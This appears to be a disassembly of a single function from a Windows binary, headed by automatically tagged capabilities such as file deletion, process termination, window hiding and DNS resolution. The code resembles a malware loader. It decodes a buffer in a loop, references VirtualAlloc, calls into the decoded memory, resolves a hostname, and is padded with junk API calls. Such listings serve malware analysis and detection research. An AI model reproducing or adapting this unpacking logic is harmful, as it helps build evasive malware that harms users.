Function at 0x4011cf
Capabilities:
Create directory
Delete file
Get common file path
Get file attributes
Get socket status
Get user security identifier
Hide graphical window
Receive data
Receive data on socket
Resolve dns
Set file attributes
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
push edi
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x40], 0x8e24
mov dword [ebp - 8], 0x1e
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x44], 0
mov byte [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x64], 0x87
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x50], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x60], 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_PostMessageW]
push 0
push 0
push 0
push 0
call dword [sym.imp.WS2_32.dll_recv]
push 0
push 0
call fcn.004015b0
fstp st(0)
add esp, 8
push 0
mov ecx, dword [ebp - 8]
push ecx
call section.Section
add esp, 8
cmp eax, 2
jbe 0x40148e
push 3
push 0
push 0x18
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, 0x411aec
test eax, eax
jne 0x401306
push 0
push 0
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
test eax, eax
je 0x40148e
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xa
jne 0x401354
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xa
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call sub.MSVFW32.dll_DrawDibEnd
jmp 0x40136c
mov ecx, dword [ebp - 0x5c]
add ecx, 0x653050
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x5c]
sub edx, 0x253050
mov dword [ebp - 0x5c], edx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x78], 0
cmp dword [ebp - 0x78], 0x1400
jge 0x40144b
mov ecx, dword [ebp - 0x70]
add ecx, 1
mov dword [ebp - 0x70], ecx
mov edx, dword [ebp - 0x5c]
add edx, dword [ebp - 0x78]
xor eax, eax
mov al, byte [edx]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x80], 0
jmp 0x4013b0
mov ecx, dword [ebp - 0x80]
add ecx, 1
mov dword [ebp - 0x80], ecx
cmp dword [ebp - 0x80], 0xdac
jge 0x4013df
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 3
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x34], edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x4013a7
mov eax, dword [0x4bc2e8]
add eax, dword [ebp - 0x78]
mov byte [eax], 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_PostMessageA]
mov ecx, dword [ebp - 0x34]
lea edx, [ecx + eax + 0xa1]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x7c], 0
jmp 0x401417
mov eax, dword [ebp - 0x7c]
add eax, 1
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x7c]
cmp ecx, dword [ebp - 0x34]
jae 0x40143c
mov edx, dword [0x4bc2e8]
add edx, dword [ebp - 0x78]
xor eax, eax
mov al, byte [edx]
add eax, 1
mov ecx, dword [0x4bc2e8]
add ecx, dword [ebp - 0x78]
mov byte [ecx], al
jmp 0x40140e
lea edx, [ebp - 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
jmp 0x40137b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x401480
push 0
push 0
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, dword [ebp - 0x28]
push ebx
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 1
mov eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov ecx, dword [0x4bc2e8]
mov dword [ebp - 4], ecx
push 0x410c20
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
call dword [sym.imp.USER32.dll_DestroyWindow]
push 0x410c2c
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0
call dword [sym.imp.WS2_32.dll_WSASetEvent]
cmp dword [ebp - 4], 0
je 0x4014e6
call dword [0x4bc2e8]
push 0
push 0
push 0x410c30
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
push 0xf0000000
push 1
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret